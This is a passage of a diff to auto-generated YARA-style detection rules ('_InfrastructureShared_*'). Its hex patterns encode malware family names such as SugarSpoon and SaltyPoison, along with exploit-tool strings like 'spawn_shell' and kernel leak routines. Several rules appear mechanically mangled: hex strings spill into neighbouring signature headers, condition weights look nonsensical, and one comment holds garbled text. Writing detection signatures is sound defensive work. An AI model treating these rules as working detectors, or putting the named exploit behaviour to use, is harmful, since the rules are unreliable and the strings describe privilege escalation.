1)*18467+(#a_44_1 & 1)*29797+(#a_6d_2 & 1)*28482+(#a_6c_3 & 1)*25445+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_a0_11 & 1)*0+(#a_2f_12 & 1)*25857+(#a_70_13 & 1)*23660+(#a_50_14 & 1)*257) >=15 } -rule _InfrastructureShared_20143{ +rule _InfrastructureShared_21359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 14 00 21 " @@ -254167,7 +269313,7 @@ rule _InfrastructureShared_20143{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*12136+(#a_68_2 & 1)*257+(#a_90_3 & 1)*24912+(#a_63_4 & 1)*11886+(#a_6d_6 & 1)*4352+(#a_90_7 & 1)*24931+(#a_74_8 & 1)*28777+(#a_00_10 & 1)*101+(#a_00_11 & 1)*110+(#a_02_12 & 1)*116+(#a_00_14 & 1)*82+(#a_00_16 & 1)*83+(#a_00_17 & 1)*97+(#a_00_18 & 1)*10+(#a_32_19 & 1)*28265) >=4 } -rule _InfrastructureShared_20144{ +rule _InfrastructureShared_21360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -254184,7 +269330,7 @@ rule _InfrastructureShared_20144{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32+(#a_43_2 & 1)*19200+(#a_00_3 & 1)*92+(#a_00_5 & 1)*62+(#a_00_6 & 1)*119+(#a_00_7 & 1)*99+(#a_00_8 & 1)*1) >=7 } -rule _InfrastructureShared_20145{ +rule _InfrastructureShared_21361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -254203,7 +269349,7 @@ rule _InfrastructureShared_20145{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*13056+(#a_4d_2 & 1)*25970+(#a_6e_3 & 1)*29813+(#a_6e_4 & 1)*11892+(#a_65_5 & 1)*28271+(#a_5c_6 & 1)*25971+(#a_66_7 & 1)*21249+(#a_55_8 & 1)*29541+(#a_67_9 & 1)*26988) >=10 } -rule _InfrastructureShared_20146{ +rule _InfrastructureShared_21362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -254224,7 +269370,7 @@ rule _InfrastructureShared_20146{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28499+(#a_61_2 & 1)*29293+(#a_6c_3 & 1)*26996+(#a_62_4 & 1)*27507+(#a_64_5 & 1)*29284+(#a_6e_6 & 1)*28499+(#a_73_7 & 1)*28275+(#a_72_8 & 1)*27751+(#a_5c_9 & 1)*25966+(#a_01_10 & 1)*28265+(#a_73_11 & 1)*25966) >=12 } -rule _InfrastructureShared_20147{ +rule _InfrastructureShared_21363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -254247,7 +269393,7 @@ rule _InfrastructureShared_20147{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28500+(#a_74_2 & 1)*25928+(#a_67_3 & 1)*27765+(#a_6f_4 & 1)*29541+(#a_65_5 & 1)*25458+(#a_72_6 & 1)*30313+(#a_6c_7 & 1)*30062+(#a_69_8 & 1)*28271+(#a_73_9 & 1)*29813+(#a_20_10 & 1)*28448+(#a_6c_11 & 1)*27740+(#a_6e_12 & 1)*19820+(#a_3a_13 & 1)*28261) >=14 } -rule _InfrastructureShared_20148{ +rule _InfrastructureShared_21364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -254266,7 +269412,7 @@ rule _InfrastructureShared_20148{ ((#a_70_0 & 1)*16675+(#a_70_1 & 1)*28515+(#a_20_2 & 1)*28192+(#a_74_3 & 1)*25972+(#a_79_4 & 1)*8306+(#a_20_5 & 1)*26740+(#a_64_6 & 1)*29301+(#a_6f_7 & 1)*28265+(#a_33_8 & 1)*14131+(#a_33_9 & 1)*12137) >=1 } -rule _InfrastructureShared_20149{ +rule _InfrastructureShared_21365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -254281,7 +269427,27 @@ rule _InfrastructureShared_20149{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*12576+(#a_3a_2 & 1)*28261+(#a_37_3 & 1)*26468+(#a_30_4 & 1)*8276+(#a_29_5 & 1)*27491) >=6 } -rule _InfrastructureShared_20150{ +rule _InfrastructureShared_21366{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 46 21 64 68 61 00 01 00 26 80 01 52 65 6c 61 79 53 65 72 90 01 01 69 63 65 20 66 61 69 6c 65 64 20 77 69 74 68 20 65 78 63 65 70 74 69 6f 6e 90 00 01 00 25 } //16675 + $a_74_1 = {72 74 69 6e 67 20 90 01 0e 6c 61 79 20 6c 69 73 74 65 6e 65 72 20 6f 6e 20 7b 30 7d 3a 7b 31 7d 90 00 01 00 28 80 01 41 63 63 65 70 74 65 64 20 72 90 01 01 6c 61 79 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 6f 6e 20 7b 30 7d 3a 7b 31 7d 90 00 01 00 25 80 } //384 + $a_6f_2 = {70 65 64 20 72 90 01 01 6c 61 79 20 6c 69 73 74 65 6e 65 72 20 6f 6e 20 7b 30 7d 3a 7b 31 7d 90 00 01 00 1e 80 01 52 65 6c 61 79 42 69 64 90 01 01 41 73 79 6e 63 20 74 65 72 6d 69 6e 61 74 65 64 2e 90 00 01 00 1c 80 01 52 65 6c 61 79 41 73 79 6e 90 01 01 20 66 61 69 6c 65 64 3a 20 27 7b 30 7d 27 90 00 01 00 1f 80 01 52 65 6c 61 79 4f 6e 65 57 61 } //21249 + $a_79_3 = {90 01 01 20 74 65 72 6d 69 6e 61 74 65 64 90 00 01 00 32 80 01 52 65 71 75 65 73 74 20 49 44 20 90 01 01 6f 75 6e 64 2c 20 62 75 74 20 69 74 20 77 61 73 20 61 6c 72 65 61 64 79 20 63 61 6e 63 65 6c 65 64 2e 90 00 01 00 51 80 01 53 65 6e 64 69 6e 67 20 48 54 54 90 01 01 20 72 65 71 75 65 73 74 20 74 6f 20 72 65 73 6f 6c 76 65 20 6e 6f 64 65 20 } //16761 + $a_7b_4 = {7d 20 74 6f 20 90 01 01 6c 75 73 74 65 72 20 61 6e 64 20 70 6f 64 20 49 50 2e 20 55 52 49 3a 20 } //17481 + $a_90_5 = {01 00 55 80 01 53 65 6e 64 69 6e 67 20 48 54 54 90 01 01 20 72 65 71 75 65 73 74 20 74 6f 20 72 65 73 6f 6c 76 65 20 90 01 01 4d 20 49 44 20 7b 30 7d 20 74 6f 20 6e 6f 64 65 20 49 44 20 61 6e 64 20 63 6f 6e 74 61 69 6e 65 72 20 49 44 2e 20 55 52 49 3a 20 7b 31 7d 90 00 01 00 3d 80 01 52 65 73 6f 6c 76 65 64 20 56 4d 20 49 90 01 01 20 7b 30 7d 20 74 6f 20 6e 6f 64 65 20 49 } //12667 + $a_31_6 = {20 61 6e 64 20 63 6f 6e 90 01 01 61 69 6e 65 72 20 49 44 20 7b 32 7d 2e 90 00 01 00 35 80 01 41 7a 75 72 65 20 42 61 73 90 01 01 69 6f 6e 20 68 61 6e 64 90 01 01 68 61 6b 65 20 70 72 6f 63 65 73 73 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 90 00 00 00 78 a3 02 00 03 00 03 00 19 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 52 6f 6f 66 52 61 69 } //8260 + $a_2e_7 = {21 64 68 61 00 03 00 16 00 6e 70 66 73 3a 3a 63 72 65 61 74 65 5f 6e 61 6d 65 64 70 69 70 65 02 00 0f 00 63 68 65 63 6b 5f 70 72 69 76 65 6c 65 67 65 02 00 21 00 73 70 61 77 6e 5f 73 68 65 6c 6c 3a 20 77 69 6e 6c 6f 67 6f 6e 5f 70 69 64 20 69 73 20 7a 65 72 6f 02 00 1c 00 6c 65 61 6b 3a 3a 6c 65 61 6b 5f 64 61 74 61 3a 20 50 4f 4f 4c 5f 48 } //25971 + $a_45_8 = {02 00 1b 00 72 65 61 64 3a 3a 63 72 65 61 74 65 5f 72 65 61 64 5f 70 72 69 6d 69 74 69 76 65 02 00 11 00 72 65 61 64 3a 3a 6b 65 72 6e 65 6c 5f 72 65 61 64 02 00 0d 00 62 6c 66 3a 3a 73 61 76 65 5f 62 6c } //16709 + $a_69_10 = {79 3a 3a 73 65 74 5f 61 74 74 72 69 62 75 74 65 01 00 1d 00 6d 6f 64 69 66 79 3a 3a 6b 65 72 6e 65 6c 5f 6d 6f 64 69 66 79 5f 70 72 65 70 61 72 65 01 00 0f 00 6c 65 61 6b 5f 6f 62 6a 65 63 74 5f 70 74 72 01 00 14 00 6c 65 61 6b 5f 6e 74 6f 62 6a 65 63 74 3a 20 65 6e 74 72 79 01 00 20 00 6b 65 72 6e } //28525 + $a_72_11 = {61 64 5f 70 72 69 6d 69 74 69 76 65 2d 3e 73 70 72 61 79 5f 64 65 76 01 00 21 00 74 65 73 74 63 6c 66 73 3a 20 65 72 72 6f 72 20 69 6e 20 53 65 74 54 68 72 65 61 64 54 6f 6b 65 6e 03 00 1a 01 6c 65 61 6b 3a 3a 6c 65 61 6b 5f 66 69 6c 65 5f 6f 62 6a 65 63 74 5f 70 74 72 02 00 1a 01 6e } //27749 + condition: + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*384+(#a_6f_2 & 1)*21249+(#a_79_3 & 1)*16761+(#a_7b_4 & 1)*17481+(#a_90_5 & 1)*12667+(#a_31_6 & 1)*8260+(#a_2e_7 & 1)*25971+(#a_45_8 & 1)*16709+(#a_69_10 & 1)*28525+(#a_72_11 & 1)*27749) >=1 + +} +rule _InfrastructureShared_21367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 19 00 21 " @@ -254315,7 +269481,7 @@ rule _InfrastructureShared_20150{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_00_5 & 1)*2+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_01_12 & 1)*3+(#a_01_13 & 1)*2+(#a_01_14 & 1)*2+(#a_01_15 & 1)*2+(#a_01_16 & 1)*2+(#a_01_17 & 1)*2+(#a_01_18 & 1)*2+(#a_01_19 & 1)*2+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_a3_24 & 1)*0) >=3 } -rule _InfrastructureShared_20151{ +rule _InfrastructureShared_21368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -254343,7 +269509,7 @@ rule _InfrastructureShared_20151{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_a4_18 & 1)*0) >=19 } -rule _InfrastructureShared_20152{ +rule _InfrastructureShared_21369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -254367,7 +269533,7 @@ rule _InfrastructureShared_20152{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*31042+(#a_64_2 & 1)*11570+(#a_39_3 & 1)*17201+(#a_63_4 & 1)*25396+(#a_38_5 & 1)*14125+(#a_45_6 & 1)*20993+(#a_4a_7 & 1)*25922+(#a_6e_8 & 1)*22330+(#a_01_10 & 1)*17863+(#a_01_11 & 1)*17801+(#a_01_12 & 1)*19853+(#a_02_13 & 1)*513+(#a_31_14 & 1)*25964+(#a_5a_15 & 1)*16762) >=16 } -rule _InfrastructureShared_20153{ +rule _InfrastructureShared_21370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 17 00 21 " @@ -254393,7 +269559,7 @@ rule _InfrastructureShared_20153{ ((#a_54_0 & 1)*18467+(#a_83_2 & 1)*6144+(#a_66_3 & 1)*29696+(#a_5b_5 & 1)*9984+(#a_01_6 & 1)*-28603+(#a_51_8 & 1)*400+(#a_8b_9 & 1)*400+(#a_8b_10 & 1)*257+(#a_83_12 & 1)*11520+(#a_e9_13 & 1)*29696+(#a_01_14 & 1)*19851+(#a_0f_15 & 1)*400+(#a_01_16 & 1)*-5888+(#a_f8_17 & 1)*4292+(#a_57_18 & 1)*26740+(#a_00_19 & 1)*101+(#a_00_21 & 1)*116) >=1 } -rule _InfrastructureShared_20154{ +rule _InfrastructureShared_21371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -254413,7 +269579,7 @@ rule _InfrastructureShared_20154{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_09_2 & 1)*14637+(#a_61_3 & 1)*11585+(#a_30_4 & 1)*11585+(#a_65_5 & 1)*24910+(#a_2d_6 & 1)*2305+(#a_47_7 & 1)*13366+(#a_74_8 & 1)*28018+(#a_d5_9 & 1)*-11567+(#a_2e_10 & 1)*21573) >=11 } -rule _InfrastructureShared_20155{ +rule _InfrastructureShared_21372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,47 00 47 00 1b 00 21 " @@ -254447,7 +269613,7 @@ rule _InfrastructureShared_20155{ ((#a_46_0 & 1)*16675+(#a_04_2 & 1)*-248+(#a_d3_3 & 1)*-11824+(#a_53_4 & 1)*30575+(#a_2d_5 & 1)*12848+(#a_64_6 & 1)*19713+(#a_52_7 & 1)*29541+(#a_77_8 & 1)*28235+(#a_63_9 & 1)*29282+(#a_49_10 & 1)*27491+(#a_6c_11 & 1)*29545+(#a_00_12 & 1)*28265+(#a_6e_13 & 1)*17153+(#a_6e_14 & 1)*29300+(#a_5c_15 & 1)*20041+(#a_6f_16 & 1)*28524+(#a_90_17 & 1)*11568+(#a_39_18 & 1)*12378+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_a8_24 & 1)*0+(#a_69_25 & 1)*23666) >=71 } -rule _InfrastructureShared_20156{ +rule _InfrastructureShared_21373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -254475,7 +269641,7 @@ rule _InfrastructureShared_20156{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29264+(#a_64_2 & 1)*17253+(#a_6c_3 & 1)*24940+(#a_6e_4 & 1)*20993+(#a_74_5 & 1)*29289+(#a_63_6 & 1)*29282+(#a_72_7 & 1)*26957+(#a_32_8 & 1)*836+(#a_5a_9 & 1)*16762+(#a_90_10 & 1)*11568+(#a_00_11 & 1)*14637+(#a_00_12 & 1)*108+(#a_3c_13 & 1)*29477+(#a_30_14 & 1)*11585+(#a_76_15 & 1)*16732+(#a_6c_16 & 1)*25972+(#a_2e_17 & 1)*25959+(#a_6f_18 & 1)*23667) >=19 } -rule _InfrastructureShared_20157{ +rule _InfrastructureShared_21374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -254492,7 +269658,7 @@ rule _InfrastructureShared_20157{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*19804+(#a_36_2 & 1)*12356+(#a_6f_3 & 1)*29555+(#a_39_4 & 1)*12378+(#a_2d_6 & 1)*2305+(#a_69_8 & 1)*26191+(#a_2d_9 & 1)*2305) >=10 } -rule _InfrastructureShared_20158{ +rule _InfrastructureShared_21375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -254513,7 +269679,7 @@ rule _InfrastructureShared_20158{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25922+(#a_65_2 & 1)*29285+(#a_61_3 & 1)*23605+(#a_62_4 & 1)*24946+(#a_6c_5 & 1)*25459+(#a_69_6 & 1)*25972+(#a_00_7 & 1)*82+(#a_00_8 & 1)*65+(#a_00_9 & 1)*84+(#a_00_11 & 1)*89+(#a_00_13 & 1)*108) >=14 } -rule _InfrastructureShared_20159{ +rule _InfrastructureShared_21376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -254526,7 +269692,7 @@ rule _InfrastructureShared_20159{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*102+(#a_00_2 & 1)*49+(#a_00_3 & 1)*70) >=4 } -rule _InfrastructureShared_20160{ +rule _InfrastructureShared_21377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -254542,7 +269708,25 @@ rule _InfrastructureShared_20160{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_2d_2 & 1)*23085+(#a_00_3 & 1)*144+(#a_00_5 & 1)*111+(#a_00_6 & 1)*115+(#a_00_7 & 1)*92) >=6 } -rule _InfrastructureShared_20161{ +rule _InfrastructureShared_21378{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0e 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 61 6c 74 79 50 6f 69 73 6f 6e 2e 43 21 64 68 61 00 02 00 28 01 53 00 56 00 50 00 61 00 74 00 74 00 65 00 72 00 6e 00 55 00 70 00 64 00 61 00 74 00 65 00 2e 00 44 00 6c 00 67 00 2e 00 02 } //16675 牔橯湡场湩㐶匯污祴潐獩湯䌮搡慨Ȁ⠀匁嘀倀愀琀琀攀爀渀唀瀀搀愀琀攀⸀䐀氀最⸀Ȁ + $a_53_1 = {56 } //9216 V + $a_00_3 = {2e 00 4c 00 69 00 63 00 65 00 6e 00 73 00 65 00 44 00 6c 00 67 00 2e 00 02 00 2e 01 53 00 56 00 55 00 70 00 64 00 61 00 74 00 65 00 2e 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 50 00 61 00 74 00 63 00 68 00 2e 00 02 00 24 01 53 00 56 00 54 00 72 00 61 00 79 00 2e 00 55 00 73 00 62 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 } //105 + $a_00_4 = {02 00 26 01 53 00 56 00 54 00 72 00 61 00 79 00 2e 00 44 00 6c 00 67 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 2e 00 02 00 24 01 } //114 + $a_00_5 = {4d 00 61 00 69 00 6e 00 2e 00 53 00 63 00 61 00 6e 00 49 00 6e 00 66 00 44 00 6c 00 67 00 2e 00 02 00 21 03 53 00 69 00 6c 00 69 00 56 00 90 01 02 63 00 63 00 69 00 6e 00 65 00 2e 00 6b 00 65 00 79 00 90 00 01 00 2c 01 67 00 6c 00 6f 00 62 00 61 00 6c 00 2e } //83 + $a_00_7 = {72 00 65 00 44 00 65 00 6c 00 65 00 74 00 65 00 49 00 6e 00 66 00 01 00 32 01 67 00 6c 00 6f 00 62 00 61 00 6c 00 2e 00 53 00 4c 00 49 00 6e 00 66 00 65 00 63 00 74 00 65 00 64 00 46 00 69 00 6c } //117 + $a_00_9 = {65 00 01 00 2c 01 67 00 6c 00 6f 00 62 00 61 00 6c 00 2e 00 59 00 6f 00 75 00 41 00 72 00 65 00 44 00 65 00 6c 00 65 00 74 00 65 00 51 00 75 00 61 00 01 00 28 01 67 00 6c 00 6f 00 62 00 61 00 6c 00 2e 00 56 00 61 00 63 00 55 00 70 00 64 00 61 00 74 00 65 00 44 00 61 00 74 00 65 00 01 00 2e 01 67 00 6c 00 6f 00 62 00 61 00 6c } //97 + $a_00_11 = {4c 00 69 00 63 00 65 00 6e 00 73 00 65 00 50 00 65 00 72 00 69 00 6f 00 64 00 01 00 30 01 67 00 6c 00 6f 00 62 00 61 00 6c 00 2e 00 56 00 61 00 63 00 4c 00 61 00 73 00 74 00 55 00 70 00 64 00 61 00 74 00 65 00 44 00 61 00 74 00 65 00 01 00 2c 01 67 00 6c 00 6f 00 62 00 61 00 6c 00 2e 00 56 00 61 } //97 + $a_00_13 = {74 00 53 00 63 00 61 00 6e 00 44 00 61 00 74 00 65 00 00 00 78 aa 02 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 72 69 6d 61 4c 6f 61 64 65 72 21 4d 54 42 00 01 00 90 01 54 00 53 00 50 00 74 00 55 00 57 00 55 00 47 00 66 00 33 00 55 00 58 00 4c 00 55 00 49 00 69 00 4f 00 61 00 63 00 66 00 42 00 6b 00 6a 00 68 } //97 + condition: + ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*9216+(#a_00_3 & 1)*105+(#a_00_4 & 1)*114+(#a_00_5 & 1)*83+(#a_00_7 & 1)*117+(#a_00_9 & 1)*97+(#a_00_11 & 1)*97+(#a_00_13 & 1)*97) >=2 + +} +rule _InfrastructureShared_21379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -254554,7 +269738,7 @@ rule _InfrastructureShared_20161{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*106+(#a_00_2 & 1)*85) >=4 } -rule _InfrastructureShared_20162{ +rule _InfrastructureShared_21380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -254569,7 +269753,7 @@ rule _InfrastructureShared_20162{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*73+(#a_00_3 & 1)*848+(#a_00_4 & 1)*73+(#a_09_5 & 1)*11408+(#a_2d_6 & 1)*14637) >=1 } -rule _InfrastructureShared_20163{ +rule _InfrastructureShared_21381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 1c 00 21 " @@ -254602,7 +269786,7 @@ rule _InfrastructureShared_20163{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*115+(#a_00_4 & 1)*144+(#a_6f_5 & 1)*18434+(#a_2e_6 & 1)*656+(#a_00_7 & 1)*144+(#a_57_8 & 1)*17922+(#a_00_10 & 1)*120+(#a_2e_11 & 1)*29550+(#a_00_13 & 1)*-21640+(#a_00_14 & 1)*8+(#a_69_15 & 1)*28524+(#a_53_16 & 1)*20736+(#a_5c_17 & 1)*29281+(#a_01_18 & 1)*-28672+(#a_19_19 & 1)*25976+(#a_61_20 & 1)*27753+(#a_2d_21 & 1)*23085+(#a_5f_22 & 1)*29527+(#a_09_23 & 1)*6544+(#a_2d_24 & 1)*31277+(#a_42_25 & 1)*19745+(#a_72_26 & 1)*28261+(#a_74_27 & 1)*26977) >=1 } -rule _InfrastructureShared_20164{ +rule _InfrastructureShared_21382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -254622,7 +269806,7 @@ rule _InfrastructureShared_20164{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*13165+(#a_65_2 & 1)*24951+(#a_00_3 & 1)*14637+(#a_41_4 & 1)*11568+(#a_37_5 & 1)*13615+(#a_01_6 & 1)*-28615+(#a_2d_7 & 1)*23085+(#a_5f_8 & 1)*29527+(#a_09_9 & 1)*6544+(#a_2d_10 & 1)*31277) >=8 } -rule _InfrastructureShared_20165{ +rule _InfrastructureShared_21383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -254643,7 +269827,7 @@ rule _InfrastructureShared_20165{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*26217+(#a_64_2 & 1)*26727+(#a_53_3 & 1)*14136+(#a_79_4 & 1)*23659+(#a_66_5 & 1)*29557+(#a_76_6 & 1)*24941+(#a_54_7 & 1)*28261+(#a_43_8 & 1)*12853+(#a_34_9 & 1)*13872+(#a_01_10 & 1)*29817+(#a_53_11 & 1)*21044) >=13 } -rule _InfrastructureShared_20166{ +rule _InfrastructureShared_21384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -254663,7 +269847,7 @@ rule _InfrastructureShared_20166{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13368+(#a_43_2 & 1)*14149+(#a_41_3 & 1)*14657+(#a_00_4 & 1)*26478+(#a_6f_5 & 1)*385+(#a_01_6 & 1)*31059+(#a_00_8 & 1)*54+(#a_00_9 & 1)*50+(#a_00_11 & 1)*52+(#a_00_13 & 1)*49) >=15 } -rule _InfrastructureShared_20167{ +rule _InfrastructureShared_21385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -254677,7 +269861,7 @@ rule _InfrastructureShared_20167{ ((#a_54_0 & 1)*18467+(#a_9c_1 & 1)*22807+(#a_01_2 & 1)*4607+(#a_11_3 & 1)*656+(#a_01_4 & 1)*4607) >=1 } -rule _InfrastructureShared_20168{ +rule _InfrastructureShared_21386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -254690,7 +269874,7 @@ rule _InfrastructureShared_20168{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_2 & 1)*32+(#a_00_4 & 1)*110) >=3 } -rule _InfrastructureShared_20169{ +rule _InfrastructureShared_21387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0d 00 21 " @@ -254710,7 +269894,7 @@ rule _InfrastructureShared_20169{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-32410+(#a_00_2 & 1)*119+(#a_00_4 & 1)*117+(#a_00_5 & 1)*115+(#a_00_6 & 1)*25188+(#a_63_7 & 1)*17408+(#a_00_8 & 1)*69+(#a_02_9 & 1)*-28550+(#a_2d_10 & 1)*23085+(#a_46_12 & 1)*27136) >=3 } -rule _InfrastructureShared_20170{ +rule _InfrastructureShared_21388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -254723,7 +269907,7 @@ rule _InfrastructureShared_20170{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_3 & 1)*105+(#a_00_4 & 1)*110) >=1 } -rule _InfrastructureShared_20171{ +rule _InfrastructureShared_21389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0e 00 21 " @@ -254746,7 +269930,7 @@ rule _InfrastructureShared_20171{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29561+(#a_6d_2 & 1)*28486+(#a_5f_3 & 1)*25966+(#a_73_4 & 1)*25458+(#a_00_5 & 1)*29541+(#a_72_6 & 1)*22273+(#a_76_7 & 1)*28279+(#a_5f_8 & 1)*9533+(#a_6c_9 & 1)*25456+(#a_73_10 & 1)*8295+(#a_2d_11 & 1)*11565+(#a_2d_12 & 1)*11565+(#a_61_13 & 1)*24909) >=13 } -rule _InfrastructureShared_20172{ +rule _InfrastructureShared_21390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 17 00 21 " @@ -254778,7 +269962,7 @@ rule _InfrastructureShared_20172{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*14902+(#a_63_2 & 1)*12133+(#a_6e_3 & 1)*27680+(#a_2d_4 & 1)*11565+(#a_2d_5 & 1)*11565+(#a_69_6 & 1)*29285+(#a_72_7 & 1)*17696+(#a_3a_8 & 1)*24938+(#a_01_9 & 1)*30757+(#a_20_10 & 1)*25701+(#a_20_11 & 1)*28494+(#a_6c_12 & 1)*24934+(#a_01_13 & 1)*28271+(#a_6e_14 & 1)*22304+(#a_6e_15 & 1)*25963+(#a_42_16 & 1)*19745+(#a_79_17 & 1)*28496+(#a_34_18 & 1)*25956+(#a_6d_19 & 1)*29811+(#a_74_20 & 1)*28499+(#a_69_21 & 1)*29285+(#a_73_22 & 1)*25966) >=3 } -rule _InfrastructureShared_20173{ +rule _InfrastructureShared_21391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 10 00 21 " @@ -254802,7 +269986,7 @@ rule _InfrastructureShared_20173{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25454+(#a_61_2 & 1)*21024+(#a_6e_3 & 1)*27503+(#a_69_4 & 1)*26912+(#a_73_5 & 1)*21760+(#a_6c_6 & 1)*28274+(#a_5c_7 & 1)*28261+(#a_72_8 & 1)*30033+(#a_25_9 & 